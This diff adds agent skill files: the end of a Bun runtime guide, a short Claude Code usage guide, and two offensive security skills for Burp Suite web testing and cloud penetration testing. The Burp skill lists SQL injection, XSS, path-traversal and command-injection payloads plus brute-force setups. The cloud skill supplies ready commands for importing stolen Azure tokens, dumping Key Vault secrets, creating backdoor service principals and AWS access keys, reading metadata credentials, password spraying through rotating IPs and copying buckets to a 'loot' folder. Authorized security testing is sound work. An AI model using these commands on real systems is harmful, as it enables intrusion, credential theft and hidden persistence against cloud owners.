+bun test
+
+# Run specific file
+bun test math.test.ts
+
+# Run matching pattern
+bun test --grep "adds"
+
+# Watch mode
+bun test --watch
+
+# With coverage
+bun test --coverage
+
+# Timeout
+bun test --timeout 5000
+```
+
+### 6.3 Matchers
+
+```typescript
+import { expect, test } from "bun:test";
+
+test("matchers", () => {
+  // Equality
+  expect(1).toBe(1);
+  expect({ a: 1 }).toEqual({ a: 1 });
+  expect([1, 2]).toContain(1);
+
+  // Comparisons
+  expect(10).toBeGreaterThan(5);
+  expect(5).toBeLessThanOrEqual(5);
+
+  // Truthiness
+  expect(true).toBeTruthy();
+  expect(null).toBeNull();
+  expect(undefined).toBeUndefined();
+
+  // Strings
+  expect("hello").toMatch(/ell/);
+  expect("hello").toContain("ell");
+
+  // Arrays
+  expect([1, 2, 3]).toHaveLength(3);
+
+  // Exceptions
+  expect(() => {
+    throw new Error("fail");
+  }).toThrow("fail");
+
+  // Async
+  await expect(Promise.resolve(1)).resolves.toBe(1);
+  await expect(Promise.reject("err")).rejects.toBe("err");
+});
+```
+
+### 6.4 Mocking
+
+```typescript
+import { mock, spyOn } from "bun:test";
+
+// Mock function
+const mockFn = mock((x: number) => x * 2);
+mockFn(5);
+expect(mockFn).toHaveBeenCalled();
+expect(mockFn).toHaveBeenCalledWith(5);
+expect(mockFn.mock.results[0].value).toBe(10);
+
+// Spy on method
+const obj = {
+  method: () => "original",
+};
+const spy = spyOn(obj, "method").mockReturnValue("mocked");
+expect(obj.method()).toBe("mocked");
+expect(spy).toHaveBeenCalled();
+```
+
+---
+
+## 7. Bundling
+
+### 7.1 Basic Build
+
+```bash
+# Bundle for production
+bun build ./src/index.ts --outdir ./dist
+
+# With options
+bun build ./src/index.ts \
+  --outdir ./dist \
+  --target browser \
+  --minify \
+  --sourcemap
+```
+
+### 7.2 Build API
+
+```typescript
+const result = await Bun.build({
+  entrypoints: ["./src/index.ts"],
+  outdir: "./dist",
+  target: "browser", // or "bun", "node"
+  minify: true,
+  sourcemap: "external",
+  splitting: true,
+  format: "esm",
+
+  // External packages (not bundled)
+  external: ["react", "react-dom"],
+
+  // Define globals
+  define: {
+    "process.env.NODE_ENV": JSON.stringify("production"),
+  },
+
+  // Naming
+  naming: {
+    entry: "[name].[hash].js",
+    chunk: "chunks/[name].[hash].js",
+    asset: "assets/[name].[hash][ext]",
+  },
+});
+
+if (!result.success) {
+  console.error(result.logs);
+}
+```
+
+### 7.3 Compile to Executable
+
+```bash
+# Create standalone executable
+bun build ./src/cli.ts --compile --outfile myapp
+
+# Cross-compile
+bun build ./src/cli.ts --compile --target=bun-linux-x64 --outfile myapp-linux
+bun build ./src/cli.ts --compile --target=bun-darwin-arm64 --outfile myapp-mac
+
+# With embedded assets
+bun build ./src/cli.ts --compile --outfile myapp --embed ./assets
+```
+
+---
+
+## 8. Migration from Node.js
+
+### 8.1 Compatibility
+
+```typescript
+// Most Node.js APIs work out of the box
+import fs from "fs";
+import path from "path";
+import crypto from "crypto";
+
+// process is global
+console.log(process.cwd());
+console.log(process.env.HOME);
+
+// Buffer is global
+const buf = Buffer.from("hello");
+
+// __dirname and __filename work
+console.log(__dirname);
+console.log(__filename);
+```
+
+### 8.2 Common Migration Steps
+
+```bash
+# 1. Install Bun
+curl -fsSL https://bun.sh/install | bash
+
+# 2. Replace package manager
+rm -rf node_modules package-lock.json
+bun install
+
+# 3. Update scripts in package.json
+# "start": "node index.js" → "start": "bun run index.ts"
+# "test": "jest" → "test": "bun test"
+
+# 4. Add Bun types
+bun add -d @types/bun
+```
+
+### 8.3 Differences from Node.js
+
+```typescript
+// ❌ Node.js specific (may not work)
+require("module")             // Use import instead
+require.resolve("pkg")        // Use import.meta.resolve
+__non_webpack_require__       // Not supported
+
+// ✅ Bun equivalents
+import pkg from "pkg";
+const resolved = import.meta.resolve("pkg");
+Bun.resolveSync("pkg", process.cwd());
+
+// ❌ These globals differ
+process.hrtime()              // Use Bun.nanoseconds()
+setImmediate()                // Use queueMicrotask()
+
+// ✅ Bun-specific features
+const file = Bun.file("./data.txt");  // Fast file API
+Bun.serve({ port: 3000, fetch: ... }); // Fast HTTP server
+Bun.password.hash(password);           // Built-in hashing
+```
+
+---
+
+## 9. Performance Tips
+
+### 9.1 Use Bun-native APIs
+
+```typescript
+// Slow (Node.js compat)
+import fs from "fs/promises";
+const content = await fs.readFile("./data.txt", "utf-8");
+
+// Fast (Bun-native)
+const file = Bun.file("./data.txt");
+const content = await file.text();
+```
+
+### 9.2 Use Bun.serve for HTTP
+
+```typescript
+// Don't: Express/Fastify (overhead)
+import express from "express";
+const app = express();
+
+// Do: Bun.serve (native, 4-10x faster)
+Bun.serve({
+  fetch(req) {
+    return new Response("Hello!");
+  },
+});
+
+// Or use Elysia (Bun-optimized framework)
+import { Elysia } from "elysia";
+new Elysia().get("/", () => "Hello!").listen(3000);
+```
+
+### 9.3 Bundle for Production
+
+```bash
+# Always bundle and minify for production
+bun build ./src/index.ts --outdir ./dist --minify --target node
+
+# Then run the bundle
+bun run ./dist/index.js
+```
+
+---
+
+## Quick Reference
+
+| Task         | Command                                    |
+| :----------- | :----------------------------------------- |
+| Init project | `bun init`                                 |
+| Install deps | `bun install`                              |
+| Add package  | `bun add <pkg>`                            |
+| Run script   | `bun run <script>`                         |
+| Run file     | `bun run file.ts`                          |
+| Watch mode   | `bun --watch run file.ts`                  |
+| Run tests    | `bun test`                                 |
+| Build        | `bun build ./src/index.ts --outdir ./dist` |
+| Execute pkg  | `bunx <pkg>`                               |
+
+---
+
+## Resources
+
+- [Bun Documentation](https://bun.sh/docs)
+- [Bun GitHub](https://github.com/oven-sh/bun)
+- [Elysia Framework](https://elysiajs.com/)
+- [Bun Discord](https://bun.sh/discord)

skills/burp-suite-testing/SKILL.md

@@ -0,0 +1,377 @@
+---
+name: Burp Suite Web Application Testing
+description: This skill should be used when the user asks to "intercept HTTP traffic", "modify web requests", "use Burp Suite for testing", "perform web vulnerability scanning", "test with Burp Repeater", "analyze HTTP history", or "configure proxy for web testing". It provides comprehensive guidance for using Burp Suite's core features for web application security testing.
+---
+
+# Burp Suite Web Application Testing
+
+## Purpose
+
+Execute comprehensive web application security testing using Burp Suite's integrated toolset, including HTTP traffic interception and modification, request analysis and replay, automated vulnerability scanning, and manual testing workflows. This skill enables systematic discovery and exploitation of web application vulnerabilities through proxy-based testing methodology.
+
+## Inputs / Prerequisites
+
+### Required Tools
+- Burp Suite Community or Professional Edition installed
+- Burp's embedded browser or configured external browser
+- Target web application URL
+- Valid credentials for authenticated testing (if applicable)
+
+### Environment Setup
+- Burp Suite launched with temporary or named project
+- Proxy listener active on 127.0.0.1:8080 (default)
+- Browser configured to use Burp proxy (or use Burp's browser)
+- CA certificate installed for HTTPS interception
+
+### Editions Comparison
+| Feature | Community | Professional |
+|---------|-----------|--------------|
+| Proxy | ✓ | ✓ |
+| Repeater | ✓ | ✓ |
+| Intruder | Limited | Full |
+| Scanner | ✗ | ✓ |
+| Extensions | ✓ | ✓ |
+
+## Outputs / Deliverables
+
+### Primary Outputs
+- Intercepted and modified HTTP requests/responses
+- Vulnerability scan reports with remediation advice
+- HTTP history and site map documentation
+- Proof-of-concept exploits for identified vulnerabilities
+
+## Core Workflow
+
+### Phase 1: Intercepting HTTP Traffic
+
+#### Launch Burp's Browser
+Navigate to integrated browser for seamless proxy integration:
+
+1. Open Burp Suite and create/open project
+2. Go to **Proxy > Intercept** tab
+3. Click **Open Browser** to launch preconfigured browser
+4. Position windows to view both Burp and browser simultaneously
+
+#### Configure Interception
+Control which requests are captured:
+
+```
+Proxy > Intercept > Intercept is on/off toggle
+
+When ON: Requests pause for review/modification
+When OFF: Requests pass through, logged to history
+```
+
+#### Intercept and Forward Requests
+Process intercepted traffic:
+
+1. Set intercept toggle to **Intercept on**
+2. Navigate to target URL in browser
+3. Observe request held in Proxy > Intercept tab
+4. Review request contents (headers, parameters, body)
+5. Click **Forward** to send request to server
+6. Continue forwarding subsequent requests until page loads
+
+#### View HTTP History
+Access complete traffic log:
+
+1. Go to **Proxy > HTTP history** tab
+2. Click any entry to view full request/response
+3. Sort by clicking column headers (# for chronological order)
+4. Use filters to focus on relevant traffic
+
+### Phase 2: Modifying Requests
+
+#### Intercept and Modify
+Change request parameters before forwarding:
+
+1. Enable interception: **Intercept on**
+2. Trigger target request in browser
+3. Locate parameter to modify in intercepted request
+4. Edit value directly in request editor
+5. Click **Forward** to send modified request
+
+#### Common Modification Targets
+| Target | Example | Purpose |
+|--------|---------|---------|
+| Price parameters | `price=1` | Test business logic |
+| User IDs | `userId=admin` | Test access control |
+| Quantity values | `qty=-1` | Test input validation |
+| Hidden fields | `isAdmin=true` | Test privilege escalation |
+
+#### Example: Price Manipulation
+
+```http
+POST /cart HTTP/1.1
+Host: target.com
+Content-Type: application/x-www-form-urlencoded
+
+productId=1&quantity=1&price=100
+
+# Modify to:
+productId=1&quantity=1&price=1
+```
+
+Result: Item added to cart at modified price.
+
+### Phase 3: Setting Target Scope
+
+#### Define Scope
+Focus testing on specific target:
+
+1. Go to **Target > Site map**
+2. Right-click target host in left panel
+3. Select **Add to scope**
+4. When prompted, click **Yes** to exclude out-of-scope traffic
+
+#### Filter by Scope
+Remove noise from HTTP history:
+
+1. Click display filter above HTTP history
+2. Select **Show only in-scope items**
+3. History now shows only target site traffic
+
+#### Scope Benefits
+- Reduces clutter from third-party requests
+- Prevents accidental testing of out-of-scope sites
+- Improves scanning efficiency
+- Creates cleaner reports
+
+### Phase 4: Using Burp Repeater
+
+#### Send Request to Repeater
+Prepare request for manual testing:
+
+1. Identify interesting request in HTTP history
+2. Right-click request and select **Send to Repeater**
+3. Go to **Repeater** tab to access request
+
+#### Modify and Resend
+Test different inputs efficiently:
+
+```
+1. View request in Repeater tab
+2. Modify parameter values
+3. Click Send to submit request
+4. Review response in right panel
+5. Use navigation arrows to review request history
+```
+
+#### Repeater Testing Workflow
+
+```
+Original Request:
+GET /product?productId=1 HTTP/1.1
+
+Test 1: productId=2    → Valid product response
+Test 2: productId=999  → Not Found response  
+Test 3: productId='    → Error/exception response
+Test 4: productId=1 OR 1=1 → SQL injection test
+```
+
+#### Analyze Responses
+Look for indicators of vulnerabilities:
+
+- Error messages revealing stack traces
+- Framework/version information disclosure
+- Different response lengths indicating logic flaws
+- Timing differences suggesting blind injection
+- Unexpected data in responses
+
+### Phase 5: Running Automated Scans
+
+#### Launch New Scan
+Initiate vulnerability scanning (Professional only):
+
+1. Go to **Dashboard** tab
+2. Click **New scan**
+3. Enter target URL in **URLs to scan** field
+4. Configure scan settings
+
+#### Scan Configuration Options
+
+| Mode | Description | Duration |
+|------|-------------|----------|
+| Lightweight | High-level overview | ~15 minutes |
+| Fast | Quick vulnerability check | ~30 minutes |
+| Balanced | Standard comprehensive scan | ~1-2 hours |
+| Deep | Thorough testing | Several hours |
+
+#### Monitor Scan Progress
+Track scanning activity:
+
+1. View task status in **Dashboard**
+2. Watch **Target > Site map** update in real-time
+3. Check **Issues** tab for discovered vulnerabilities
+
+#### Review Identified Issues
+Analyze scan findings:
+
+1. Select scan task in Dashboard
+2. Go to **Issues** tab
+3. Click issue to view:
+   - **Advisory**: Description and remediation
+   - **Request**: Triggering HTTP request
+   - **Response**: Server response showing vulnerability
+
+### Phase 6: Intruder Attacks
+
+#### Configure Intruder
+Set up automated attack:
+
+1. Send request to Intruder (right-click > Send to Intruder)
+2. Go to **Intruder** tab
+3. Define payload positions using § markers
+4. Select attack type
+
+#### Attack Types
+
+| Type | Description | Use Case |
+|------|-------------|----------|
+| Sniper | Single position, iterate payloads | Fuzzing one parameter |
+| Battering ram | Same payload all positions | Credential testing |
+| Pitchfork | Parallel payload iteration | Username:password pairs |
+| Cluster bomb | All payload combinations | Full brute force |
+
+#### Configure Payloads
+
+```
+Positions Tab:
+POST /login HTTP/1.1
+...
+username=§admin§&password=§password§
+
+Payloads Tab:
+Set 1: admin, user, test, guest
+Set 2: password, 123456, admin, letmein
+```
+
+#### Analyze Results
+Review attack output:
+
+- Sort by response length to find anomalies
+- Filter by status code for successful attempts
+- Use grep to search for specific strings
+- Export results for documentation
+
+## Quick Reference
+
+### Keyboard Shortcuts
+| Action | Windows/Linux | macOS |
+|--------|---------------|-------|
+| Forward request | Ctrl+F | Cmd+F |
+| Drop request | Ctrl+D | Cmd+D |
+| Send to Repeater | Ctrl+R | Cmd+R |
+| Send to Intruder | Ctrl+I | Cmd+I |
+| Toggle intercept | Ctrl+T | Cmd+T |
+
+### Common Testing Payloads
+
+```
+# SQL Injection
+' OR '1'='1
+' OR '1'='1'--
+1 UNION SELECT NULL--
+
+# XSS
+<script>alert(1)</script>
+"><img src=x onerror=alert(1)>
+javascript:alert(1)
+
+# Path Traversal
+../../../etc/passwd
+..\..\..\..\windows\win.ini
+
+# Command Injection
+; ls -la
+| cat /etc/passwd
+`whoami`
+```
+
+### Request Modification Tips
+- Right-click for context menu options
+- Use decoder for encoding/decoding
+- Compare requests using Comparer tool
+- Save interesting requests to project
+
+## Constraints and Guardrails
+
+### Operational Boundaries
+- Test only authorized applications
+- Configure scope to prevent accidental out-of-scope testing
+- Rate-limit scans to avoid denial of service
+- Document all findings and actions
+
+### Technical Limitations
+- Community Edition lacks automated scanner
+- Some sites may block proxy traffic
+- HSTS/certificate pinning may require additional configuration
+- Heavy scanning may trigger WAF blocks
+
+### Best Practices
+- Always set target scope before extensive testing
+- Use Burp's browser for reliable interception
+- Save project regularly to preserve work
+- Review scan results manually for false positives
+
+## Examples
+
+### Example 1: Business Logic Testing
+
+**Scenario**: E-commerce price manipulation
+
+1. Add item to cart normally, intercept request
+2. Identify `price=9999` parameter in POST body
+3. Modify to `price=1`
+4. Forward request
+5. Complete checkout at manipulated price
+
+**Finding**: Server trusts client-provided price values.
+
+### Example 2: Authentication Bypass
+
+**Scenario**: Testing login form
+
+1. Submit valid credentials, capture request in Repeater
+2. Send to Repeater for testing
+3. Try: `username=admin' OR '1'='1'--`
+4. Observe successful login response
+
+**Finding**: SQL injection in authentication.
+
+### Example 3: Information Disclosure
+
+**Scenario**: Error-based information gathering
+
+1. Navigate to product page, observe `productId` parameter
+2. Send request to Repeater
+3. Change `productId=1` to `productId=test`
+4. Observe verbose error revealing framework version
+
+**Finding**: Apache Struts 2.5.12 disclosed in stack trace.
+
+## Troubleshooting
+
+### Browser Not Connecting Through Proxy
+- Verify proxy listener is active (Proxy > Options)
+- Check browser proxy settings point to 127.0.0.1:8080
+- Ensure no firewall blocking local connections
+- Use Burp's embedded browser for reliable setup
+
+### HTTPS Interception Failing
+- Install Burp CA certificate in browser/system
+- Navigate to http://burp to download certificate
+- Add certificate to trusted roots
+- Restart browser after installation
+
+### Slow Performance
+- Limit scope to reduce processing
+- Disable unnecessary extensions
+- Increase Java heap size in startup options
+- Close unused Burp tabs and features
+
+### Requests Not Being Intercepted
+- Verify "Intercept on" is enabled
+- Check intercept rules aren't filtering target
+- Ensure browser is using Burp proxy
+- Verify target isn't using unsupported protocol

skills/claude-code-guide/SKILL.md

@@ -0,0 +1,68 @@
+---
+name: Claude Code Guide
+description: Master guide for using Claude Code effectively. Includes configuration templates, prompting strategies "Thinking" keywords, debugging techniques, and best practices for interacting with the agent.
+---
+
+# Claude Code Guide
+
+## Purpose
+
+To provide a comprehensive reference for configuring and using Claude Code (the agentic coding tool) to its full potential. This skill synthesizes best practices, configuration templates, and advanced usage patterns.
+
+## Configuration (`CLAUDE.md`)
+
+When starting a new project, create a `CLAUDE.md` file in the root directory to guide the agent.
+
+### Template (General)
+
+```markdown
+# Project Guidelines
+
+## Commands
+
+- Run app: `npm run dev`
+- Test: `npm test`
+- Build: `npm run build`
+
+## Code Style
+
+- Use TypeScript for all new code.
+- Functional components with Hooks for React.
+- Tailwind CSS for styling.
+- Early returns for error handling.
+
+## Workflow
+
+- Read `README.md` first to understand project context.
+- Before editing, read the file content.
+- After editing, run tests to verify.
+```
+
+## Advanced Features
+
+### Thinking Keywords
+
+Use these keywords in your prompts to trigger deeper reasoning from the agent:
+
+- "Think step-by-step"
+- "Analyze the root cause"
+- "Plan before executing"
+- "Verify your assumptions"
+
+### Debugging
+
+If the agent is stuck or behaving unexpectedly:
+
+1. **Clear Context**: Start a new session or ask the agent to "forget previous instructions" if confused.
+2. **Explicit Instructions**: Be extremely specific about paths, filenames, and desired outcomes.
+3. **Logs**: Ask the agent to "check the logs" or "run the command with verbose output".
+
+## Best Practices
+
+1. **Small Contexts**: Don't dump the entire codebase into the context. Use `grep` or `find` to locate relevant files first.
+2. **Iterative Development**: Ask for small changes, verify, then proceed.
+3. **Feedback Loop**: If the agent makes a mistake, correct it immediately and ask it to "add a lesson" to its memory (if supported) or `CLAUDE.md`.
+
+## Reference
+
+Based on [Claude Code Guide by zebbern](https://github.com/zebbern/claude-code-guide).

skills/cloud-penetration-testing/SKILL.md

@@ -0,0 +1,498 @@
+---
+name: Cloud Penetration Testing
+description: This skill should be used when the user asks to "perform cloud penetration testing", "assess Azure or AWS or GCP security", "enumerate cloud resources", "exploit cloud misconfigurations", "test O365 security", "extract secrets from cloud environments", or "audit cloud infrastructure". It provides comprehensive techniques for security assessment across major cloud platforms.
+---
+
+# Cloud Penetration Testing
+
+## Purpose
+
+Conduct comprehensive security assessments of cloud infrastructure across Microsoft Azure, Amazon Web Services (AWS), and Google Cloud Platform (GCP). This skill covers reconnaissance, authentication testing, resource enumeration, privilege escalation, data extraction, and persistence techniques for authorized cloud security engagements.
+
+## Prerequisites
+
+### Required Tools
+```bash
+# Azure tools
+Install-Module -Name Az -AllowClobber -Force
+Install-Module -Name MSOnline -Force
+Install-Module -Name AzureAD -Force
+
+# AWS CLI
+curl "https://awscli.amazonaws.com/awscli-exe-linux-x86_64.zip" -o "awscliv2.zip"
+unzip awscliv2.zip && sudo ./aws/install
+
+# GCP CLI
+curl https://sdk.cloud.google.com | bash
+gcloud init
+
+# Additional tools
+pip install scoutsuite pacu
+```
+
+### Required Knowledge
+- Cloud architecture fundamentals
+- Identity and Access Management (IAM)
+- API authentication mechanisms
+- DevOps and automation concepts
+
+### Required Access
+- Written authorization for testing
+- Test credentials or access tokens
+- Defined scope and rules of engagement
+
+## Outputs and Deliverables
+
+1. **Cloud Security Assessment Report** - Comprehensive findings and risk ratings
+2. **Resource Inventory** - Enumerated services, storage, and compute instances
+3. **Credential Findings** - Exposed secrets, keys, and misconfigurations
+4. **Remediation Recommendations** - Hardening guidance per platform
+
+## Core Workflow
+
+### Phase 1: Reconnaissance
+
+Gather initial information about target cloud presence:
+
+```bash
+# Azure: Get federation info
+curl "https://login.microsoftonline.com/getuserrealm.srf?login=user@target.com&xml=1"
+
+# Azure: Get Tenant ID
+curl "https://login.microsoftonline.com/target.com/v2.0/.well-known/openid-configuration"
+
+# Enumerate cloud resources by company name
+python3 cloud_enum.py -k targetcompany
+
+# Check IP against cloud providers
+cat ips.txt | python3 ip2provider.py
+```
+
+### Phase 2: Azure Authentication
+
+Authenticate to Azure environments:
+
+```powershell
+# Az PowerShell Module
+Import-Module Az
+Connect-AzAccount
+
+# With credentials (may bypass MFA)
+$credential = Get-Credential
+Connect-AzAccount -Credential $credential
+
+# Import stolen context
+Import-AzContext -Profile 'C:\Temp\StolenToken.json'
+
+# Export context for persistence
+Save-AzContext -Path C:\Temp\AzureAccessToken.json
+
+# MSOnline Module
+Import-Module MSOnline
+Connect-MsolService
+```
+
+### Phase 3: Azure Enumeration
+
+Discover Azure resources and permissions:
+
+```powershell
+# List contexts and subscriptions
+Get-AzContext -ListAvailable
+Get-AzSubscription
+
+# Current user role assignments
+Get-AzRoleAssignment
+
+# List resources
+Get-AzResource
+Get-AzResourceGroup
+
+# Storage accounts
+Get-AzStorageAccount
+
+# Web applications
+Get-AzWebApp
+
+# SQL Servers and databases
+Get-AzSQLServer
+Get-AzSqlDatabase -ServerName $Server -ResourceGroupName $RG
+
+# Virtual machines
+Get-AzVM
+$vm = Get-AzVM -Name "VMName"
+$vm.OSProfile
+
+# List all users
+Get-MSolUser -All
+
+# List all groups
+Get-MSolGroup -All
+
+# Global Admins
+Get-MsolRole -RoleName "Company Administrator"
+Get-MSolGroupMember -GroupObjectId $GUID
+
+# Service Principals
+Get-MsolServicePrincipal
+```
+
+### Phase 4: Azure Exploitation
+
+Exploit Azure misconfigurations:
+
+```powershell
+# Search user attributes for passwords
+$users = Get-MsolUser -All
+foreach($user in $users){
+    $props = @()
+    $user | Get-Member | foreach-object{$props+=$_.Name}
+    foreach($prop in $props){
+        if($user.$prop -like "*password*"){
+            Write-Output ("[*]" + $user.UserPrincipalName + "[" + $prop + "]" + " : " + $user.$prop)
+        }
+    }
+}
+
+# Execute commands on VMs
+Invoke-AzVMRunCommand -ResourceGroupName $RG -VMName $VM -CommandId RunPowerShellScript -ScriptPath ./script.ps1
+
+# Extract VM UserData
+$vms = Get-AzVM
+$vms.UserData
+
+# Dump Key Vault secrets
+az keyvault list --query '[].name' --output tsv
+az keyvault set-policy --name <vault> --upn <user> --secret-permissions get list
+az keyvault secret list --vault-name <vault> --query '[].id' --output tsv
+az keyvault secret show --id <URI>
+```
+
+### Phase 5: Azure Persistence
+
+Establish persistence in Azure:
+
+```powershell
+# Create backdoor service principal
+$spn = New-AzAdServicePrincipal -DisplayName "WebService" -Role Owner
+$BSTR = [System.Runtime.InteropServices.Marshal]::SecureStringToBSTR($spn.Secret)
+$UnsecureSecret = [System.Runtime.InteropServices.Marshal]::PtrToStringAuto($BSTR)
+
+# Add service principal to Global Admin
+$sp = Get-MsolServicePrincipal -AppPrincipalId <AppID>
+$role = Get-MsolRole -RoleName "Company Administrator"
+Add-MsolRoleMember -RoleObjectId $role.ObjectId -RoleMemberType ServicePrincipal -RoleMemberObjectId $sp.ObjectId
+
+# Login as service principal
+$cred = Get-Credential  # AppID as username, secret as password
+Connect-AzAccount -Credential $cred -Tenant "tenant-id" -ServicePrincipal
+
+# Create new admin user via CLI
+az ad user create --display-name <name> --password <pass> --user-principal-name <upn>
+```
+
+### Phase 6: AWS Authentication
+
+Authenticate to AWS environments:
+
+```bash
+# Configure AWS CLI
+aws configure
+# Enter: Access Key ID, Secret Access Key, Region, Output format
+
+# Use specific profile
+aws configure --profile target
+
+# Test credentials
+aws sts get-caller-identity
+```
+
+### Phase 7: AWS Enumeration
+
+Discover AWS resources:
+
+```bash
+# Account information
+aws sts get-caller-identity
+aws iam list-users
+aws iam list-roles
+
+# S3 Buckets
+aws s3 ls
+aws s3 ls s3://bucket-name/
+aws s3 sync s3://bucket-name ./local-dir
+
+# EC2 Instances
+aws ec2 describe-instances
+
+# RDS Databases
+aws rds describe-db-instances --region us-east-1
+
+# Lambda Functions
+aws lambda list-functions --region us-east-1
+aws lambda get-function --function-name <name>
+
+# EKS Clusters
+aws eks list-clusters --region us-east-1
+
+# Networking
+aws ec2 describe-subnets
+aws ec2 describe-security-groups --group-ids <sg-id>
+aws directconnect describe-connections
+```
+
+### Phase 8: AWS Exploitation
+
+Exploit AWS misconfigurations:
+
+```bash
+# Check for public RDS snapshots
+aws rds describe-db-snapshots --snapshot-type manual --query=DBSnapshots[*].DBSnapshotIdentifier
+aws rds describe-db-snapshot-attributes --db-snapshot-identifier <id>
+# AttributeValues = "all" means publicly accessible
+
+# Extract Lambda environment variables (may contain secrets)
+aws lambda get-function --function-name <name> | jq '.Configuration.Environment'
+
+# Access metadata service (from compromised EC2)
+curl http://169.254.169.254/latest/meta-data/
+curl http://169.254.169.254/latest/meta-data/iam/security-credentials/
+
+# IMDSv2 access
+TOKEN=$(curl -X PUT "http://169.254.169.254/latest/api/token" -H "X-aws-ec2-metadata-token-ttl-seconds: 21600")
+curl http://169.254.169.254/latest/meta-data/profile -H "X-aws-ec2-metadata-token: $TOKEN"
+```
+
+### Phase 9: AWS Persistence
+
+Establish persistence in AWS:
+
+```bash
+# List existing access keys
+aws iam list-access-keys --user-name <username>
+
+# Create backdoor access key
+aws iam create-access-key --user-name <username>
+
+# Get all EC2 public IPs
+for region in $(cat regions.txt); do
+    aws ec2 describe-instances --query=Reservations[].Instances[].PublicIpAddress --region $region | jq -r '.[]'
+done
+```
+
+### Phase 10: GCP Enumeration
+
+Discover GCP resources:
+
+```bash
+# Authentication
+gcloud auth login
+gcloud auth activate-service-account --key-file creds.json
+gcloud auth list
+
+# Account information
+gcloud config list
+gcloud organizations list
+gcloud projects list
+
+# IAM Policies
+gcloud organizations get-iam-policy <org-id>
+gcloud projects get-iam-policy <project-id>
+
+# Enabled services
+gcloud services list
+
+# Source code repos
+gcloud source repos list
+gcloud source repos clone <repo>
+
+# Compute instances
+gcloud compute instances list
+gcloud beta compute ssh --zone "region" "instance" --project "project"
+
+# Storage buckets
+gsutil ls
+gsutil ls -r gs://bucket-name
+gsutil cp gs://bucket/file ./local
+
+# SQL instances
+gcloud sql instances list
+gcloud sql databases list --instance <id>
+
+# Kubernetes
+gcloud container clusters list
+gcloud container clusters get-credentials <cluster> --region <region>
+kubectl cluster-info
+```
+
+### Phase 11: GCP Exploitation
+
+Exploit GCP misconfigurations:
+
+```bash
+# Get metadata service data
+curl "http://metadata.google.internal/computeMetadata/v1/?recursive=true&alt=text" -H "Metadata-Flavor: Google"
+
+# Check access scopes
+curl http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/scopes -H 'Metadata-Flavor:Google'
+
+# Decrypt data with keyring
+gcloud kms decrypt --ciphertext-file=encrypted.enc --plaintext-file=out.txt --key <key> --keyring <keyring> --location global
+
+# Serverless function analysis
+gcloud functions list
+gcloud functions describe <name>
+gcloud functions logs read <name> --limit 100
+
+# Find stored credentials
+sudo find /home -name "credentials.db"
+sudo cp -r /home/user/.config/gcloud ~/.config
+gcloud auth list
+```
+
+## Quick Reference
+
+### Azure Key Commands
+
+| Action | Command |
+|--------|---------|
+| Login | `Connect-AzAccount` |
+| List subscriptions | `Get-AzSubscription` |
+| List users | `Get-MsolUser -All` |
+| List groups | `Get-MsolGroup -All` |
+| Current roles | `Get-AzRoleAssignment` |
+| List VMs | `Get-AzVM` |
+| List storage | `Get-AzStorageAccount` |
+| Key Vault secrets | `az keyvault secret list --vault-name <name>` |
+
+### AWS Key Commands
+
+| Action | Command |
+|--------|---------|
+| Configure | `aws configure` |
+| Caller identity | `aws sts get-caller-identity` |
+| List users | `aws iam list-users` |
+| List S3 buckets | `aws s3 ls` |
+| List EC2 | `aws ec2 describe-instances` |
+| List Lambda | `aws lambda list-functions` |
+| Metadata | `curl http://169.254.169.254/latest/meta-data/` |
+
+### GCP Key Commands
+
+| Action | Command |
+|--------|---------|
+| Login | `gcloud auth login` |
+| List projects | `gcloud projects list` |
+| List instances | `gcloud compute instances list` |
+| List buckets | `gsutil ls` |
+| List clusters | `gcloud container clusters list` |
+| IAM policy | `gcloud projects get-iam-policy <project>` |
+| Metadata | `curl -H "Metadata-Flavor: Google" http://metadata.google.internal/...` |
+
+### Metadata Service URLs
+
+| Provider | URL |
+|----------|-----|
+| AWS | `http://169.254.169.254/latest/meta-data/` |
+| Azure | `http://169.254.169.254/metadata/instance?api-version=2018-02-01` |
+| GCP | `http://metadata.google.internal/computeMetadata/v1/` |
+
+### Useful Tools
+
+| Tool | Purpose |
+|------|---------|
+| ScoutSuite | Multi-cloud security auditing |
+| Pacu | AWS exploitation framework |
+| AzureHound | Azure AD attack path mapping |
+| ROADTools | Azure AD enumeration |
+| WeirdAAL | AWS service enumeration |
+| MicroBurst | Azure security assessment |
+| PowerZure | Azure post-exploitation |
+
+## Constraints and Limitations
+
+### Legal Requirements
+- Only test with explicit written authorization
+- Respect scope boundaries between cloud accounts
+- Do not access production customer data
+- Document all testing activities
+
+### Technical Limitations
+- MFA may prevent credential-based attacks
+- Conditional Access policies may restrict access
+- CloudTrail/Activity Logs record all API calls
+- Some resources require specific regional access
+
+### Detection Considerations
+- Cloud providers log all API activity
+- Unusual access patterns trigger alerts
+- Use slow, deliberate enumeration
+- Consider GuardDuty, Security Center, Cloud Armor
+
+## Examples
+
+### Example 1: Azure Password Spray
+
+**Scenario:** Test Azure AD password policy
+
+```powershell
+# Using MSOLSpray with FireProx for IP rotation
+# First create FireProx endpoint
+python fire.py --access_key <key> --secret_access_key <secret> --region us-east-1 --url https://login.microsoft.com --command create
+
+# Spray passwords
+Import-Module .\MSOLSpray.ps1
+Invoke-MSOLSpray -UserList .\users.txt -Password "Spring2024!" -URL https://<api-gateway>.execute-api.us-east-1.amazonaws.com/fireprox
+```
+
+### Example 2: AWS S3 Bucket Enumeration
+
+**Scenario:** Find and access misconfigured S3 buckets
+
+```bash
+# List all buckets
+aws s3 ls | awk '{print $3}' > buckets.txt
+
+# Check each bucket for contents
+while read bucket; do
+    echo "Checking: $bucket"
+    aws s3 ls s3://$bucket 2>/dev/null
+done < buckets.txt
+
+# Download interesting bucket
+aws s3 sync s3://misconfigured-bucket ./loot/
+```
+
+### Example 3: GCP Service Account Compromise
+
+**Scenario:** Pivot using compromised service account
+
+```bash
+# Authenticate with service account key
+gcloud auth activate-service-account --key-file compromised-sa.json
+
+# List accessible projects
+gcloud projects list
+
+# Enumerate compute instances
+gcloud compute instances list --project target-project
+
+# Check for SSH keys in metadata
+gcloud compute project-info describe --project target-project | grep ssh
+
+# SSH to instance
+gcloud beta compute ssh instance-name --zone us-central1-a --project target-project
+```
+
+## Troubleshooting
+
+| Issue | Solutions |
+|-------|-----------|
+| Authentication failures | Verify credentials; check MFA; ensure correct tenant/project; try alternative auth methods |
+| Permission denied | List current roles; try different resources; check resource policies; verify region |
+| Metadata service blocked | Check IMDSv2 (AWS); verify instance role; check firewall for 169.254.169.254 |
+| Rate limiting | Add delays; spread across regions; use multiple credentials; focus on high-value targets |
+
+## References
+
